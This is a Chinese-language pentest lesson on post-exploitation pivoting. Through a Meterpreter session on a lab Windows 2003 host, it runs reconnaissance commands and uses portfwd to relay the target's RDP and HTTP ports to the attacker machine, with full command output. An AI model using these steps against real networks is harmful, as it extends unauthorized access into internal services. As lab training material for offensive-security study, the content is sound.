第九十五课：基于Portfwd端口转发

注：请多喝点热水或者凉白开，可预防肾结石，通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

portfwd是一款强大的端口转发工具，支持TCP，UDP，支持IPV4--IPV6的转换转发。并且内置于meterpreter。其中exe单版本源码如下：

https://github.com/rssnsj/portfwd

攻击机： 192.168.1.5 Debian

靶机： 192.168.1.4 Windows 7 192.168.1.119 Windows 2003

msf exploit(multi/handler) \> sessions ‐l 

Active sessions
===============

Id Name Type Information Connection
‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐
1 meterpreter x86/windows WIN03X64\Administrator @ WIN03X64 192.168.1.5:45303 ‐> 192.168.1.119:53 (192.168.1.119)

msf exploit(multi/handler) > sessions ‐i 1 ‐c 'ipconfig'
[*] Running 'ipconfig' on meterpreter session 1 (192.168.1.119) 

Windows IP Configuration 

Ethernet adapter 本地连接:

Connection‐specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 192.168.1.119
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1 22

靶机IP为： 192.168.1.119---windows 2003---x64

需要转发端口为：80，3389

msf exploit(multi/handler) > sessions ‐i 1
[*] Starting interaction with 1... 

meterpreter > shell
Process 4012 created.
Channel 56 created.
Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985‐2003 Microsoft Corp.

C:\Documents and Settings\Administrator\桌面>if defined PSModulePath (echo ok!) else (echo sorry!)
if defined PSModulePath (echo ok!) else (echo sorry!)
sorry! 

C:\Documents and Settings\Administrator\桌面>net config Workstation
net config Workstation
计算机名 \\WIN03X64
计算机全名 win03x64
用户名 Administrator

工作站正运行于
NetbiosSmb (000000000000)
NetBT_Tcpip_{37C12280‐A19D‐4D1A‐9365‐6CBF2CAE5B07} (000C2985D67D) 

软件版本 Microsoft Windows Server 2003

工作站域 WORKGROUP
登录域 WIN03X64

COM 打开超时 (秒) 0
COM 发送计数 (字节) 16
COM 发送超时 (毫秒) 250
命令成功完成。

C:\Documents and Settings\Administrator\桌面>netstat ‐an|findstr "LIST ENING"
netstat ‐an|findstr "LISTENING"
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3078 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9001 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2995 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9000 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9999 0.0.0.0:0 LISTENING
TCP 192.168.1.119:139 0.0.0.0:0 LISTENING

meterpreter > portfwd ‐h
Usage: portfwd [‐h] [add | delete | list | flush] [args] 

OPTIONS:
‐L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
‐R Indicates a reverse port forward.
‐h Help banner.
‐i <opt> Index of the port forward entry to interact with (see the "list" command).
‐l <opt> Forward: local port to listen on. Reverse: local port to connect to.
‐p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
‐r <opt> Forward: remote host to connect to.

攻击机执行：

meterpreter > portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389
[*] Local TCP relay created: :33389 <‐> 192.168.1.119:3389
meterpreter > portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80
[*] Local TCP relay created: :30080 <‐> 192.168.1.119:80
meterpreter > portfwd 

Active Port Forwards
==================== 
Index Local Remote Direction
‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐
1 0.0.0.0:33389 192.168.1.119:3389 Forward
2 0.0.0.0:30080 192.168.1.119:80 Forward 

2 total active port forwards.

查看攻击机LISTEN端口：转发已成功

root@John:~# netstat ‐ntlp |grep :3
tcp 0 0 0.0.0.0:33389 0.0.0.0:* LISTEN 2319/ruby
tcp 0 0 0.0.0.0:30080 0.0.0.0:* LISTEN 2319/ruby 4

Windows 7 分别访问攻击机33389，30080，既等价访问靶机3389，80

Micropoor